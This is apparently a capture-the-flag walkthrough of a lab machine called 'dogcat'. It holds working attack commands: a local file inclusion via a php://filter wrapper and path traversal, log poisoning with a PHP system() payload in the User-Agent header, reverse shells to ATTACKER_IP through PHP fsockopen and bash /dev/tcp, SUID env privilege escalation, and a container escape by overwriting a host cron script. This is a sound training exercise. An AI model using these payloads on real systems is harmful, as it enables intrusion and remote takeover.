nmap -p- --min-rate 100 --max-retries 2 -Pn 10.10.10.10 -v
Discovered open port 80/tcp on 10.10.10.10
Discovered open port 22/tcp on 10.10.10.10
Only two ports open - SSH and HTTP.
feroxbuster -u http://10.10.10.10/ -w /usr/share/wordlists/dirb/common.txt -x php
200 GET 19l 37w 418c http://10.10.10.10/
301 GET 9l 28w 311c http://10.10.10.10/cats => http://10.10.10.10/cats/
200 GET 1l 3w 26c http://10.10.10.10/cat.php
200 GET 0l 0w 0c http://10.10.10.10/flag.php
200 GET 19l 37w 418c http://10.10.10.10/index.php
Interesting findings:
/flag.php - likely contains a flag/cat.php and /dog.php - included based on user inputThe website has a simple interface asking "What would you like to see?" with buttons for "A dog" or "A cat".
Clicking these buttons sends requests like ?view=dog or ?view=cat.
Tried basic LFI payloads but got errors:

The application checks if the view parameter contains "dog" or "cat" before including the file.
Used PHP filter wrapper to read the source code in base64:
http://10.10.10.10/?view=php://filter/convert.base64-encode/resource=dog

Decoding the base64 revealed the source structure. Then I read the index.php source:
http://10.10.10.10/?view=php://filter/convert.base64-encode/resource=dog/../index

After decoding, found the vulnerable code:
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
include $_GET['view'] . $ext;
}
Key vulnerabilities identified:
Weak filter - Only checks if "dog" or "cat" appears anywhere in the string
dog../../../../etc/passwd ✅ passes the filterExtension is user-controlled - The ext parameter defaults to .php but can be overridden
ext= removes the extension completelyThis enables full LFI - With path traversal and extension control, we can read any file
http://10.10.10.10/?view=dog/../../../../etc/passwd&ext=

Successfully read the passwd file. The ext= parameter removes the .php extension.
Using the PHP filter wrapper to read flag.php:
http://10.10.10.10/?view=php://filter/convert.base64-encode/resource=dog/../flag

Decoding the base64 output:
<?php
$flag_1 = "THM{REDACTED}"
?>
Flag 1 captured!
Since we have LFI, we can escalate to RCE by poisoning the Apache access log with PHP code.
Using curl to inject PHP code into the access log:
curl -A '<?php system($_GET["cmd"]); ?>' http://10.10.10.10/
Or using Burp Suite, modify the User-Agent header:
GET / HTTP/1.1
Host: 10.10.10.10
User-Agent: <?php system($_GET['cmd']); ?>
Connection: close
This writes the PHP payload into /var/log/apache2/access.log.
Include the log file with a command:
http://10.10.10.10/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=id
Expected output:
uid=33(www-data) gid=33(www-data)
RCE confirmed!

Set up listener:
nc -lvnp 6666
Trigger reverse shell via URL-encoded payload:
&cmd=php -r '$sock=fsockopen("ATTACKER_IP",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

ls
flag2_QMW7JvaY2LvK.txt
cat flag2_QMW7JvaY2LvK.txt
THM{REDACTED}

Flag 2 captured!
find / -perm -u=s -type f 2>/dev/null

Found /usr/bin/env with SUID bit set!
According to GTFOBins, env can spawn a root shell:
sudo /usr/bin/env /bin/sh
Or without sudo (using SUID):
/usr/bin/env /bin/sh -p
Got root inside the container!
cd /root
ls
flag3.txt
cat flag3.txt
THM{REDACTED}

Flag 3 captured!
At this point, we're root but inside a Docker container. Need to escape to the host.
Found a backup script that runs periodically:
cd /opt/backups
ls -la
cat backup.sh

Content of backup.sh:
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
This script is executed by the host system via a cron job, and we can modify it since we're root in the container.
Overwrite backup.sh with a reverse shell:
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > backup.sh
Set up listener on attacker machine:
nc -lvnp 4444
Wait for cron to execute...

root@dogcat:~# ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
THM{REDACTED}
Flag 4 captured! Machine fully compromised!
| Step | Technique | Result |
|---|---|---|
| 1 | PHP Filter Wrapper | Read source code, found weak validation |
| 2 | LFI with ext control | Read /etc/passwd and flag.php |
| 3 | Log Poisoning | Achieved RCE as www-data |
| 4 | SUID env binary | Escalated to root inside container |
| 5 | Cron job abuse | Escaped container to host system |
| Flag | Location | Method |
|---|---|---|
| Flag 1 | flag.php |
PHP filter wrapper |
| Flag 2 | /var/www/ |
Reverse shell access |
| Flag 3 | /root/ (container) |
SUID env exploitation |
| Flag 4 | /root/ (host) |
Docker escape via cron |
/usr/bin/env